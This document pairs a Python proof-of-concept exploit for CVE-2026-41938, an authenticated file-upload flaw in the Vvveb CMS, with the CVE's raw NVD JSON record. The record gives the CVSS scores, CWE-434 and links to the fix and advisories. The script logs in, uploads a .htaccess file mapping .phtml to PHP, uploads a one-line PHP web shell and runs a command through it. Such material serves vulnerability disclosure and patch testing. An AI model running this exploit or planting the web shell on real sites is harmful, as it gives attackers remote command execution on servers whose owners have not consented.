CVE-2026-41938

import requests # Target configuration target_url = "http://example.com" login_url = f"{target_url}/index.php?module=users&action=login" upload_url = f"{target_url}/index.php?module=media&action=upload" # Attacker credentials (Low privileges) username = "attacker" password = "password" session = requests.Session() # Step 1: Authenticate login_data = {"username": username, "password": password} session.post(login_url, data=login_data) # Step 2: Upload .htaccess to map .phtml to PHP handler # This bypasses standard extension restrictions htaccess_content = "AddHandler application/x-httpd-php .phtml" files = { 'file': ('.htaccess', htaccess_content, 'text/plain') } response = session.post(upload_url, files=files) print(f"[+] Upload .htaccess Status: {response.status_code}") # Step 3: Upload malicious .phtml file (Webshell) php_shell = "<?php system($_GET['cmd']); ?>" files = { 'file': ('shell.phtml', php_shell, 'image/jpeg') # MIME type may need spoofing } response = session.post(upload_url, files=files) print(f"[+] Upload Shell Status: {response.status_code}") # Step 4: Trigger RCE # Assuming the upload directory is accessible via /media/uploads/ exploit_url = f"{target_url}/media/uploads/shell.phtml?cmd=whoami" rce_response = session.get(exploit_url) print(f"[+] RCE Output: {rce_response.text}")

{"cve": {"id": "CVE-2026-41938", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:37.680", "lastModified": "2026-05-06T20:16:32.993", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vvveb before version 1.0.8.2 contains an unrestricted file upload vulnerability in the media upload handler that allows authenticated users with media-upload permissions to bypass extension restrictions by uploading a .htaccess file to map .phtml extensions to the PHP handler. Attackers can upload a .phtml file containing arbitrary PHP code and trigger execution by sending an unauthenticated HTTP GET request to the uploaded file, resulting in remote code execution with web server privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/givanz/Vvveb/commit/54a9e846fb94192f1b31ae81d81d25c874662e6a", "source": "[email protected]"}, {"url": "https://github.com/givanz/Vvveb/releases/tag/1.0.8.2", "source": "[email protected]"}, {"url": "https://github.com/givanz/Vvveb/security/advisories/GHSA-wwmv-4g9g-p48g", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/vvveb-rce-via-media-upload-handler", "source": "[email protected]"}, {"url": "https://github.com/givanz/Vvveb/security/advisories/GHSA-wwmv-4g9g-p48g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}